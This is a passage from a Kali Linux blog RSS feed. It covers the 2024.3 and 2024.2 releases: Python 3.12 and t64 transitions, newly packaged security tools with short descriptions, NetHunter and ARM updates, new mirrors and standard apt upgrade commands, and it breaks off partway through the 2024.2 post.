&lt;p>This last one is the most significant! This new Python release removed some long-deprecated APIs, breaking a fair number of packages. We have been busy fixing it all &lt;em>(weeks of work!)&lt;/em>, we are almost there, Python 3.12 will be the default in the &lt;strong>next&lt;/strong> version of Kali - 2024.4. &lt;strong>With Python 3.12, there will be a major change for users: it won&amp;rsquo;t be possible to install Python packages with &lt;code>pip&lt;/code> anymore&lt;/strong>. &lt;a href="https://www.kali.org/blog/python-externally-managed/">We wrote about that a year ago already&lt;/a>, we invite you to read that again if you are an avid user of &lt;code>pip&lt;/code>. &lt;/p>
&lt;p>But that will be for the &lt;em>next Kali release, 2024.4&lt;/em>, due by the end of the year. In the meantime, &lt;strong>this new release 2024.3 still has Python 3.11 as the default Python interpreter&lt;/strong>.&lt;/p>
&lt;p>An unfortunate consequence of this situation is that, as the whole Python 3.12 stack did not enter &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">Kali-rolling&lt;/a> yet, it also blocked &lt;em>other packages&lt;/em> &lt;em>(seemingly unrelated to Python)&lt;/em> from entering Kali-rolling. In other words, over the last 2 months the pace of updates in Kali-rolling went down, making this release less exciting than usual. This temporary slowdown should end in the coming days and weeks, as Python 3.12 finally hits Kali-rolling. At this point packages will resume flowing as usual, so users of Kali-rolling should be ready for a lot of updates!&lt;/p>
&lt;p>To finish: apart from packaging, various projects either got started or continued to make progress, but are not ready for release just yet (such as having a new Kali forum, NetHunter Store updates and refreshing Kali-menu). &lt;/p>
&lt;hr>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>This Kali release is about package updates.
For end users its mostly about new tools added, for us, its about the updated stacks!&lt;/p>
&lt;p>The community once again has set up and added various new tools. Long term contributor &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a> has been busy again!
Here is a highlight of what new tools have been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/goshs/">goshs&lt;/a> - Think SimpleHTTPServer, but written in Go, and with more features&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/graudit/">graudit&lt;/a> - Grep Rough AUDIT: source code auditing tool&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/gsocket/">gsocket&lt;/a> - Allows two machines on different networks to communicate with each other&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/hekatomb/">hekatomb&lt;/a> - Extract and decrypt all credentials from all domain computers &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/mxcheck/">mxcheck&lt;/a> - Info and security scanner for e-mail servers &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/netexec/">netexec&lt;/a> - Network service exploitation tool that helps automate assessing the security of large networks &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/netscanner/">netscanner&lt;/a> - Network scanner &amp;amp; diagnostic tool with modern TUI &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/obsidian/">obsidian&lt;/a> - Private and flexible writing app that adapts to the way you think&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sippts/">sippts&lt;/a> - Set of tools to audit SIP based VoIP Systems &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sprayhound/">sprayhound&lt;/a> - Password spraying tool and Bloodhound integration &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sqlmc/">sqlmc&lt;/a> - Check all URLls of a domain for SQL injections &lt;em>(Submitted by &lt;a href="https://gitlab.com/arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>It goes without saying, that there has been numerous packages updates and new libraries as well.&lt;/em>&lt;/p>
&lt;p>Again, we want to shout out Arszilla and his multiple contributions. Always remember, you can contribute as well! We are always open for engagement from you if you want to get involved.&lt;/p>
&lt;p>As hinted in &lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/#new-tools-in-kali">our previous 2024.2 release&lt;/a>, the &lt;a href="https://pkg.kali.org/pkg/linux">Kali kernel&lt;/a> is now also at 6.8.&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>Kali NetHunter 2024.3 has been held back for the the time being, as we are busy upating the build infrastructure.
We will release the updated images when they are ready (hopefully in a few weeks), and talk whats new with them in the next Kali release 2024.4 &lt;em>(Bye Mana!)&lt;/em>.&lt;/p>
&lt;p>Fortunately, we can say there are new supported devices!
We are excited to release Kali NetHunter Pro images for devices with a Qualcomm Snapdragon SDM845 SoC (System on a Chip), such as:&lt;/p>
&lt;ul>
&lt;li>OnePlus 6 (enchilada)/6T (fajita) [SDM845]&lt;/li>
&lt;li>SHIFT SHIFT6mq (axolotl) [SDM845]&lt;/li>
&lt;li>Xiaomi Pocophone F1 (beryllium ebbg/tianma) [SDM845]&lt;/li>
&lt;li>Xiaomi Mi MIX 2S (polaris) [SDM845]&lt;/li>
&lt;li>Fairphone 4 [SM7225]&lt;/li>
&lt;li>&amp;hellip;amd64 image to be used in a VM for testing/deployment&lt;/li>
&lt;/ul>
&lt;p>Thanks to &lt;a href="https://gitlab.com/Shubhamvis98">@Shubhamvis98&lt;/a> for his amazing work to make this happen!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-3-release/images/Hack-es-Langos.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-3-release/images/Hack-es-Langos.png" alt="Hack és Lángos" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>There is also good news for Hungarian NetHunters! Check out &amp;ldquo;HnLVIP NetHunter&amp;rdquo; (1st August 2024), in this podcast by &lt;a href="https://hackeslangos.show/">@hackeslangos&lt;/a> featuring &lt;a href="https://x.com/yesimxev">@yesimxev&lt;/a>, talking about getting into NetHunter, an OffSec journey and more! You can listen to it here:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://podcasts.apple.com/podcast/hnlvip-nethunter/id1334043708?i=1000664073443">Apple&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://open.spotify.com/episode/2fKvY6LzScpToRktIDKdWN">Spotify&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-arm-sbc-updates">Kali ARM SBC Updates&lt;/h2>
&lt;ul>
&lt;li>We now pass &lt;code>QEMU_CPU=cortex-a72&lt;/code> to the build scripts when building an arm64 image on an amd64 host, which should speed things back up considerably.&lt;/li>
&lt;li>USBArmory devices should now properly start their DHCP server&lt;/li>
&lt;li>Support has been added for the Raspberry Pi 4 Compute Module Wi-Fi device&lt;/li>
&lt;li>Raspberry Pi 5 kernel version has been bumped to 6.6
&lt;ul>
&lt;li>additionally due to the new firmware in use on it, if you use an A2 rated microSD card, you should see 2-3x speedup of random access&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pinebook kernel has been reverted back to a 6.1 kernel due to graphical glitches, and LCD not working on newer kernels&lt;/li>
&lt;li>We have cleaned up the build dependencies list, so we do not make users install a bunch of dependencies that are no longer used when building their own custom image.&lt;/li>
&lt;/ul>
&lt;h3 id="kali-documentation">Kali Documentation&lt;/h3>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates to existing pages as well as new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/#hashcat">Install NVIDIA GPU Drivers - Hashcat not detecting GPU&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/#expanding-storage">Kali inside VirtualBox (Guest VM) - Expanding Storage&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-vm/#expand-storage">Kali inside VMware (Guest VM) - Expanding Storage&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter-pro/waydroid/">NetHunter Pro Waydroid&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/windows-antivirus-warning/">Windows Anti-virus Warning&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>There has been various people from the Kali community, who have directly helped the project this release. And we want to praise them for their work &lt;em>(we love to give credit where due!)&lt;/em>:&lt;/p>
&lt;p>&lt;strong>Kali Documentation&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/SIMULATAN">Jakob&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/roygbyte">ROYGBYTE&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/devndevs">devdevs&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ram-prashanth">Ram Prashanth&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/320gigabytes">Robert Thornton&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Aviksaikat">SAIKAT KARMAKAR&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/bassem-essam">Bassem Essam&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ravindu644">Ravindu Deshan&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/serval123">serval&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Shubhamvis98">Shubham Vishwakarma&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And remember, the door is always open for you to be listed here next month!&lt;/p>
&lt;p>&lt;strong>Tool Documentation&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/andyshafferco">Andyshafferco&lt;/a> for updating sparrow-wifi tool documentation page&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Packaging&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/arszilla">Arszilla&lt;/a> who helped packaging many new tools&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a> for help in fixing various packages for Python 3.12 &lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Support&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/rcfa">rcfa&lt;/a>, for providing the info needed to enable the Wi-Fi on Raspberry Pi 4 Compute Module&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a> who has once again helped with testing the Raspberry Pi images for release&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Bug Fixes&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/henry701">Henrique Campo&lt;/a> for &lt;a href="https://gitlab.com/kalilinux/packages/kali-win-kex/-/merge_requests/9">Kali-Win-Kex&lt;/a> fixes and updated version support&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/melito">Kenji Yamada&lt;/a> for &lt;a href="https://gitlab.com/kalilinux/packages/kali-win-kex/-/merge_requests/8">Kali-Win-Kex&lt;/a> fixes&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>It was a quiet release cycle on this front, with 2 new mirrors joining our network, and 2 former mirrors making a comeback, for a total of &lt;strong>4 new mirrors&lt;/strong>. Here they are:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Bulgaria&lt;/strong>: &lt;a href="https://mirror.telepoint.bg/kali/">mirror.telepoint.bg&lt;/a> sponsored by &lt;a href="https://www.telepoint.bg/">Telepoint&lt;/a> and thanks to Valentin Nikolov&lt;/li>
&lt;li>&lt;strong>Italy&lt;/strong>: &lt;a href="https://kali.mirror.garr.it/kali/">kali.mirror.garr.it&lt;/a> sponsored by &lt;a href="https://mirror.garr.it/index_en.html">GARR The Italian Research and Education Network&lt;/a> and thanks to Vincenzo Caracciolo&lt;/li>
&lt;li>&lt;strong>Netherlands&lt;/strong>: &lt;a href="https://mirror.serverion.com/kali/">mirror.serverion.com&lt;/a> sponsored by &lt;a href="https://www.serverion.com/">Serverion&lt;/a> and thanks to Desmond van der Winden&lt;/li>
&lt;li>&lt;strong>South Korea&lt;/strong>: &lt;a href="https://mirror.siwoo.org/kali/">mirror.siwoo.org&lt;/a> thanks to Siwoo Lim&lt;/li>
&lt;/ul>
&lt;p>As always, a big thanks to all the mirrors who support Kali distribution all around the world. If you have the disk space and bandwidth, &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20243">Get Kali Linux 2024.3&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2024.3 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2024.3&amp;quot;
VERSION_ID=&amp;quot;2024.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.8.11-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And Social networks are not bug trackers!&lt;/strong>&lt;/p>
&lt;p>Want to keep up-to-date easier? We&amp;rsquo;ve got you!&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/">Blog&lt;/a>? Use our &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a>&lt;/li>
&lt;li>Download? We have a &lt;a href="https://www.kali.org/torrents.xml">Torrent RSS feed&lt;/a>&lt;/li>
&lt;li>Socials? &lt;a href="https://www.facebook.com/KaliLinux/">Facebook&lt;/a>, &lt;a href="https://www.instagram.com/kalilinux/">Instagram&lt;/a>, &lt;a href="https://infosec.exchange/@kalilinux">Mastodon&lt;/a> &amp;amp; &lt;a href="https://x.com/kalilinux">Twitter/X&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kali Linux 2024.2 Release (t64, GNOME 46 &amp; Community Packages)</title><link>https://www.kali.org/blog/kali-linux-2024-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2024-2-release/</guid><pubDate>Wed, 05 Jun 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2024-2-release/images/banner-2024.2-release.jpg" type="image/jpg"/><description>
&lt;p>A little later than usual, but Kali 2024.2 is here! The delay has been due to changes under the hood to make this happen, which is where a lot of focus has been. The community has helped out a huge amount, and this time they&amp;rsquo;ve not only been adding new packages, but updating and fixing bugs too! If you are reading this, Kali 2024.2 is finally ready to be &lt;a href="https://www.kali.org/get-kali/">downloaded&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgraded &lt;em>if you have an existing Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/">2024.1 release from February&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/#the-t64-transition-is-done-in-kali">t64&lt;/a>&lt;/strong> - Future package compatibility for 32-bit platforms&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/#desktop-changes">Desktop Changes&lt;/a>&lt;/strong> - GNOME 46 &amp;amp; Xfce improvements&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-2-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - 17x new tools, and countless updates&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="the-t64-transition-is-done-in-kali">The t64 transition is done in Kali&lt;/h2>
&lt;p>Kali Linux is a rolling distribution based on Debian testing, and as such, all the work done in Debian is incorporated in Kali pretty quickly after it lands in Debian testing. We have some solid QA and automation for that to happen, and usually most packages just &amp;ldquo;roll in&amp;rdquo; with minimal intervention from the Kali team. Our QA tells us when new packages from Debian break packages in Kali: in those cases packages are stuck in &lt;a href="https://www.kali.org/docs/general-use/kali-branches/#the-kali-dev-repository">kali-dev&lt;/a> &lt;em>(a development suite that is NOT meant to be used by end users)&lt;/em>, we fix it, and then they are allowed to roll in &lt;a href="https://www.kali.org/docs/general-use/kali-branches/#the-kali-rolling-repository">kali-rolling&lt;/a> &lt;em>(which is what most end users use)&lt;/em>. &lt;em>This is part of what the Kali team does every day.&lt;/em>&lt;/p>
&lt;p>During the last cycle, this routine was interrupted by a major change in Debian: &lt;a href="https://wiki.debian.org/ReleaseGoals/64bit-time">the t64 transition&lt;/a>. What is that? In short: &lt;strong>&lt;code>t64&lt;/code> refers to &lt;code>64-bit time_t type&lt;/code>&lt;/strong>. For those not familiar with C, &lt;code>time_t&lt;/code> is the type to store a Unix timestamp &lt;em>(quantity of seconds relative to the Unix Epoch)&lt;/em>, and the size for this type depends on the architecture. For those architectures that have a 32-bit time_t type, there will be an issue in the year 2038, as the maximum value possible will be reached, and the value will roll over beyond +2147483647 into negative values. The &lt;a href="https://sourceware.org/glibc/wiki/Y2038ProofnessDesign">glibc page&lt;/a> has all the technical details, for those who want to read more.&lt;/p>
&lt;p>To prevent the Year 2038 issue, the size for the time_t type had to be changed to be 64-bit, on those architectures where it was 32-bit. For Kali Linux, that means the two 32-bit ARM architectures that we support: &lt;code>armhf&lt;/code> and &lt;code>armel&lt;/code>. These architectures are used mainly for &lt;a href="https://www.kali.org/get-kali/#kali-arm">ARM images&lt;/a> (eg. Raspberry Pi) and a few &lt;a href="https://www.kali.org/get-kali/#kali-mobile">NetHunter images&lt;/a>. Note that the &lt;code>i386&lt;/code> architecture (ie. legacy PC) didn&amp;rsquo;t change: this architecture still will have a 32-bit time_t type, and that will not change. &lt;em>Kali has always treated ARM platform as a first-class citizen&lt;/em>.&lt;/p>
&lt;p>Changing the size of a widely used type provided by the C library is a big deal. It means that a huge number of packages need to be rebuilt, it is in fact &lt;a href="https://www.phoronix.com/news/Debian-Experimental-64bit-Time">the largest ABI transition ever done in Debian&lt;/a>. And in a sense, it affects all architectures, as all libraries that expose a time_t type were rebuilt and renamed with a &lt;code>t64&lt;/code> suffix, even for those architectures where the type was already 64-bit (in this case, the only change is a package rename).&lt;/p>
&lt;p>Enough background, now what does it mean for Kali users?&lt;/p>
&lt;ul>
&lt;li>The transition was completed in &lt;code>kali-rolling&lt;/code> on Monday 20th May, and is now released with Kali 2024.2. For users of Kali rolling who updated their system, the transition is behind them already.&lt;/li>
&lt;li>The vast majority of Kali users are running on &lt;code>amd64&lt;/code> or &lt;code>arm64&lt;/code>: the only visible change will be a lot of packages upgraded, and a lot of new packages with a &lt;code>t64&lt;/code> suffix in their name. Since there was no ABI change for those architectures, there should be no issue. Additionally, old packages (without &lt;code>t64&lt;/code> suffix) are co-installable with the new t64 packages, so upgrading should be no problem for APT.&lt;/li>
&lt;li>The users that might be impacted are those running Kali on a &lt;code>armel&lt;/code> or &lt;code>armhf&lt;/code> ARM board. If you upgrade your system, make sure to use the command &lt;code>apt full-upgrade&lt;/code> (do &lt;strong>NOT&lt;/strong> use &lt;code>apt upgrade&lt;/code>) , &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">as documented already&lt;/a>. After your system is upgraded, hopefully all goes well and works as usual, but if ever you notice issues, please report it on the &lt;a href="https://bugs.kali.org/">Kali Linux bugtracker&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>So just to repeat it again, for those who jumped straight to the last line: please upgrade your system &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">as documented&lt;/a>, using the pair of commands &lt;code>apt update &amp;amp;&amp;amp; apt full-upgrade&lt;/code>, and everything should be fine. Please report bugs in case of issues. Thank you!&lt;/p>
&lt;h2 id="desktop-changes">Desktop changes&lt;/h2>
&lt;h3 id="gnome-46">GNOME 46&lt;/h3>
&lt;p>Roughly every half-year, there is a new version bump for the GNOME desktop environment. Of which, Kali 2024.2 brings the latest version, &lt;strong>&lt;a href="https://release.gnome.org/46/">GNOME 46&lt;/a>&lt;/strong>. As you would expect, this is a more polished experience following the work introduced in previous versions.&lt;/p>
&lt;p>&lt;strong>All themes and extensions have been updated to support the new shell&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-2-release/images/gnome-46.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-2-release/images/gnome-46.png" alt="GNOME 46" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="xfce-desktop-changes">Xfce desktop changes&lt;/h3>
&lt;p>We are excited to announce updates to the Xfce desktop, specifically for &lt;strong>&lt;a href="https://www.kali.org/docs/introduction/kali-undercover/">Kali-Undercover&lt;/a> and &lt;a href="https://www.kali.org/docs/general-use/hidpi/">HiDPI&lt;/a> modes&lt;/strong>. These updates enhance stability and include several minor bug fixes, ensuring better support for the latest desktop improvements.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-2-release/images/kali-undercover.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-2-release/images/kali-undercover.png" alt="Kali Undercover" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>There has not been a single Kali release without any new shiny tools added, and this release is no exception.
We are overjoyed that there have been multiple tools packaged up from the community, which are now in Kali too!
It goes without saying that countless packages have been updated to the latest version, however the summary of new tools which have been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/autorecon/">autorecon&lt;/a> - Multi-threaded network reconnaissance tool &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/coercer/">coercer&lt;/a> - Automatically coerce a Windows server to authenticate on an arbitrary machine &lt;em>(Submitted by &lt;a href="https://x.com/casterbyte">Caster&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/dploot/">dploot&lt;/a> - Python rewrite of SharpDPAPI &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/getsploit/">getsploit&lt;/a> - Command line utility for searching and downloading exploits &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/gowitness/">gowitness&lt;/a> - Web screenshot utility using Chrome Headless&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/horst/">horst&lt;/a> - Highly Optimized Radio Scanning Tool&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/ligolo-ng/">ligolo-ng&lt;/a> - Advanced, yet simple, tunneling/pivoting tool that uses a TUN interface&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/mitm6/">mitm6&lt;/a> - pwning IPv4 via IPv6 &lt;em>(Submitted by &lt;a href="https://x.com/casterbyte">Caster&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/pspy/">pspy&lt;/a> - Monitor Linux processes without root permissions&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/pyinstaller/">pyinstaller&lt;/a> - Converts (packages) Python programs into stand-alone executables.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/pyinstxtractor/">pyinstxtractor&lt;/a> - PyInstalller Extractor &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sharpshooter/">sharpshooter&lt;/a> - Payload Generation Framework&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sickle-tool/">sickle&lt;/a> - Payload development tool &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/snort/">snort&lt;/a> - Flexible Network Intrusion Detection System&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sploitscan/">sploitscan&lt;/a> - Search for CVE information&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/vopono/">vopono&lt;/a> - Run applications through VPN tunnels with temporary network namespaces &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/waybackpy/">waybackpy&lt;/a> - Access Wayback Machine&amp;rsquo;s API using Python &lt;em>(Submitted by &lt;a href="https://x.com/arszilla">Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There have also been numerous new libraries as well!&lt;/em>&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
We just missed out on having &lt;strong>kernel 6.8&lt;/strong> included. It will be available shortly after this release and may already be out by the time of reading.
&lt;/p>
&lt;/div>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>There have been a few mirror tweaks and changes to Kali which we are calling out below as they don&amp;rsquo;t need much detail:&lt;/p>
&lt;ul>
&lt;li>During testing, a bug was found in 6.6 kernel which could causes slow downs and system crashes when using certain virtualization software. This has been addressed in the upcoming &lt;a href="https://pkg.kali.org/pkg/linux">6.8 kernel&lt;/a>.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/nmap/">nmap&lt;/a> has been tweaked, allowing for users to run privileged TCP SYN (Stealth) scans (&lt;code>-sS&lt;/code>) without using sudo or being root.&lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>There have been also a few improvements to Kali NetHunter over the last few months, such as:&lt;/p>
&lt;ul>
&lt;li>Support for Android 14&lt;/li>
&lt;li>The long awaited modules loader has been added by &lt;a href="https://x.com/yesimxev">@yesimxev&lt;/a>&lt;/li>
&lt;li>Class selection for Bad Bluetooth also by &lt;a href="https://x.com/yesimxev">@yesimxev&lt;/a>&lt;/li>
&lt;li>We also improved the permission and root validations&lt;/li>
&lt;li>Thanks to &lt;a href="https://x.com/shubhamvis98">@shubhamvis98&lt;/a>, who added Bluetooth rubberducky support&lt;/li>
&lt;li>There have been various fixes though-out&lt;/li>
&lt;li>&lt;em>Kali NetHunter Pro images will be out shortly after the release, due to &lt;code>t64&lt;/code>&lt;/em>&lt;/li>
&lt;/ul>
